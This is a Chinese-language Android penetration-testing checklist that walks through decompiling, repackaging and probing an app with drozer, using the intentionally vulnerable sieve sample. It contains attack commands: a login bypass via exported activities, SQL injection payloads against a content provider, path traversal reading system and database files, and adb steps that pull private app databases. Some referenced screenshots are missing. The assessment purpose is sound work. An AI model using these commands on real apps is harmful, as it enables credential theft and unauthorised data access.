Android安全评估指南
反编译保护
.apk后缀改为.zip解压获取到dex文件(有可能单个dex也有可能多个)
使用dex2jar转换为jar
为了方便测试.dex文件拷贝到dex2jar项目目录下

执行以下命令,吧dex全部转换为.jar
d2j-dex2jar.bat classes.dex

还原的jar文件都在当前目录下
打开jadx,全选还原的jar文件拖到jadx里面

逆向后发现是没混淆的情况,是不安全的。
如果代码经过混淆,或者有加壳措施,不能完整恢复源代码的,都可以认为此项安全
安装包签名
使用jdk自带的jarsigner.exe检查安装包的签名,命令如下
jarsigner.exe -verify APK文件名 -verbose -certs

上图,说明测试结果为安全。
当输出结果为“jar 已验证”时,表示签名正常。
CN 及其他字段是否正确标识客户端程序的来源和发布者身份。
下图,说明测试结果存在风险

Debug 证书、第三方(如 开发方)证书等等均认为风险。
签名完整性
测试目标APP重签名是否可以正常运行。
应用完整性
Apk默认界面

用ApkTool工具将目标 APK 文件解包,命令如下;
java -jar apktool.jar d -f APK路径 -o 输出路径


修改文件资源,尽量找标志比较明显的图标,容易确认打包后是否修改成功。
使用以下命令打包apk
java -jar apktool.jar b -f 打包文件目录 -o 生成的apk文件.apk
签名安装后app背景换成了替换的图片

APP数据任意备份
使用反编译工具反编译客户端程序,并检查AndroidManifest.xml文件中的
APP可调试
使用反编译工具反编译客户端程序,并检查AndroidManifest.xml文件中的
经测试发现,未找到android:debuggable
如果在AndroidManifest.xml中没有显式声明android:debuggable属性,那么默认情况下,这个属性的值是false。这意味着应用在发布模式下运行,而不是调试模式。

敏感资源文件
解压目标程序,查看解压出的相关资源文件,通过Visual Studio Code搜索敏感字段,未发现存在明文敏感信息资源文件。
Activity越权
Activity 组件默认是不导出的,如果 AndroidManifest.xml 中设置了 exported = “true”
测试样本 sieve.apk:https://github.com/as0ler/Android-Examples
手机打开drozer

adb forward tcp:31415 tcp:31415
drozer console connect

列出程序中所有的APP 包,但是没看到刚才安装的app
run app.package.list

使用应用信息查看器得到包名

识别攻击面,有3个activity是可以被导出的
run app.package.attacksurface 包名
查询暴露activity的信息
run app.activity.info -a 包名

打开app是需要填写账号密码

调用组件绕过登录页面
run app.activity.start –component 包名 服务名

Activity拒绝服务
查看攻击面
run app.activity.info -a 包名

调用组件
run app.activity.start –component 包名 服务名
Activity劫持保护
劫持app:https://github.com/aloswoya/android_app
被劫持app:drozer
使用drozer来调用MainActivity。
run app.activity.start –component com.test.uihijack com.test.uihijack.MainActivity
Service越权
使用Drozer框架进行检测
识别攻击面,有2个services是可以被导出的
run app.package.attacksurface 包名

查询暴露services的信息
run app.service.info -a 包名

调用组件
run app.service.start –component 包名 服务名

App未跳转到密码界面。
Service拒绝服务
使用Drozer框架进行检测
识别攻击面,有2个services是可以被导出的
run app.package.attacksurface 包名

查询暴露services的信息
run app.service.info -a 包名

调用组件
run app.service.start –component 包名 服务名

App未异常退出。
Receiver越权
使用Drozer框架进行检测,得到该客户端不存在漏洞的Receiver组件。
Receiver拒绝服务
使用Drozer框架进行检测
识别攻击面,有0个Receiver是可以被导出的。
Provider SQL注入
使用drozer扫描注入的位置
run scanner.provider.injection -a com.mwr.example.sieve

如果存在漏洞,执行以下命令,如果返回了报错信息,接着构造sql获取敏感数据
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords –projection “‘“
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords –projection “ * from Key;–+”

列出所有表信息
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords –projection “* FROM SQLITE_MASTER WHERE type=’table’;–”
Provider 目录遍历
使用drozer扫描漏洞
run scanner.provider.traversal -a com.mwr.example.sieve

读取系统文件
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db d:/tmp/database.db

Provider 数据泄露
在sieve添加一条数据,待会儿读取它

扫描漏洞
run scanner.provider.finduris -a com.mwr.example.sieve

尝试读取可访问的url
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/

WebView代码执行
查看AndroidManifest.xml文件中

WebView未移除接口
查看AndroidManifest.xml文件中
Root环境
在root设备打开app是否出现安全提示。
注入检测
通过注入工具,向目标应用程序中注入动态链接库,并执行动态链接库中的函数。
检测发现,目标程序不存在反注入机制。

模拟器环境
测试App是否对当前运行环境检测。
SQLite敏感信息
# 1、创建临时存储文件夹
adb shell
mkdir /mnt/sdcard/BackupDBS
cd /data/data/com.mwr.example.sieve/
# 2、压缩并拉取文件
find . -name “*.db” -type f -exec cp {} /mnt/sdcard/BackupDBS ;
tar cvf /mnt/sdcard/BackupDBS/backups.tar /mnt/sdcard/BackupDBS/
adb pull /mnt/sdcard/BackupDBS/backups.tar D:\xxxx.tar
使用数据库查看工具查看是否存在敏感信息。
SharedPref敏感信息
# 1、创建临时存储文件夹
adb shell
mkdir /mnt/sdcard/BackupDBS
cd /data/data/com.mwr.example.sieve/
# 2、压缩并拉取文件
find . -name “*.xml” -type f -exec cp {} /mnt/sdcard/BackupDBS ;
tar cvf /mnt/sdcard/BackupDBS/backups.tar /mnt/sdcard/BackupDBS/
adb pull /mnt/sdcard/BackupDBS/backups.tar D:\xxxx.tar
查看xml文件是否存在敏感信息。
Log敏感信息
使用adb logcat抓取log日志,分析进程日志,查看日志中是包含明文业务信息。
通信加密
抓包查看是否使用https
关键内容加密
检测发现目标APP对登录字段进行加密处理。
安全退出
检查客户端在退出时,是否向服务端发送终止会话请求。客户端退出后,还能否使用退出前的会话 id 访问登录后才能访问的页面。
开放端口
利用netstat命令或者netstatplus程序,检测未发现应用程序开启全局监听端口。
堆栈保护
使用检测工具扫描目标APP中的so文件,测试未发现存在无保护so文件
反编译APP提取so文件
checksec –file=libpangleflipped.so








